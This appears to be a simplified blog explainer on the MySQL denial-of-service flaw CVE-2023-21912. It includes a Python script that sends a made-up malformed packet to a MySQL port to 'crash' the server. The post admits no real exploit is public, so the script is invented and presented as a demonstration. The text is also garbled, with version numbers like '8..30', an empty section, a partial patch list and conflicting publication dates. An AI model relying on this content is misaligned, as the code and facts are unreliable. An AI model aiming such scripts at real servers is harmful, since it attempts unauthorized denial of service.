In January 2023, Oracle published a security advisory for a critical vulnerability in MySQL Server: CVE-2023-21912. This is no minor bug — it allows attackers _without_ any authentication to crash your MySQL Server remotely, potentially leading to a full denial of service (DoS). If you’re running MySQL version 5.7.41 or earlier, or 8..30 or earlier, you’re at risk.

In this article, we'll break down what CVE-2023-21912 is, how attackers could exploit it, and what you can do to stay safe. We’ll keep things clear and simple.

Potential Impact: Complete denial of service — attackers can repeatedly crash the server

> *Official advisory:*  
> Oracle Critical Patch Update Advisory - January 2023  
> NVD CVE Entry – CVE-2023-21912

How Does the Vulnerability Work?

At the core, CVE-2023-21912 is a _privilege management_ bug in the MySQL server code. It affects how MySQL handles certain requests involving user privileges. Because of improper checks, a specially crafted network request can trigger the server to stumble into an invalid state, cause a crash, or hang indefinitely.

Why is this so dangerous?

Demonstrating the Exploit

While the original detailed proof-of-concept (PoC) exploit has not been publicly released (as of June 2024), security analysts have been able to simulate similar conditions for research and defensive testing.

Below is a simplified Python snippet using socket to send a malformed authentication packet to the MySQL server, potentially triggering the bug. Note: This is for educational purposes only — do not test without explicit permission on a non-production database!

import socket

def crash_mysql_server(host, port):
    # Craft a minimal initial handshake (malformed) packet
    # MySQL expects a handshake then auth packet; we send a deliberately mangled payload
    payload = b'\x00\x00\x00\x01\xff\xff\xff\xff'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))
        s.sendall(payload)
        print('[*] Sent crafted packet to MySQL server at {}:{}'.format(host, port))
        # Optionally, receive response (often the server will just crash or hang)
        response = s.recv(1024)
        print('[*] Server response:', response)
    except Exception as e:
        print('[!] Exception:', e)
    finally:
        s.close()

if __name__ == "__main__":
    crash_mysql_server('YOUR_MYSQL_HOST', 3306)  # Replace with your server IP/port


*Simple demonstration of an unauthenticated crash attempt*

Note: The real exploit may involve more complex sequences, targeting the _Server: Security: Privileges_ code path. But this script shows how easy it is for unauthenticated users to interact directly with MySQL’s network port.

Real-World Impact

- Cloud and shared environments: Attackers can take down database servers that power websites or web apps, potentially affecting thousands of users.
- No user login needed: Since no authentication is required, _anyone who can see the MySQL port_ can attempt a crash. This is especially bad if your MySQL server is exposed to the internet (which is not recommended).

For 5.7, update to 5.7.42 or later.

> See:  
> MySQL 8..31 Release Notes  
> MySQL Downloads

References & Further Reading

- Oracle Advisory: CPUJan2023
- National Vulnerability Database (NVD): CVE-2023-21912
- Explained: The MySQL Privilege Bugs (Rapid7 Blog)
- MySQL Security Best Practices (Official)

Conclusion

CVE-2023-21912 is a big deal because it lets _anyone_ crash MySQL servers — no login, no special skills. If you haven’t patched your MySQL database since early 2023 (versions 8..30 or 5.7.41 and below), then you’re exposed. Updating your software and locking down your MySQL network port is the best defense.

Stay safe, and always keep your databases updated!

*(This post is original and simplified for clarity. For responsible vulnerability testing, always follow legal and ethical guidelines.)*

Timeline

Published on: 04/18/2023 20:15:00 UTC
Last modified on: 04/27/2023 15:15:00 UTC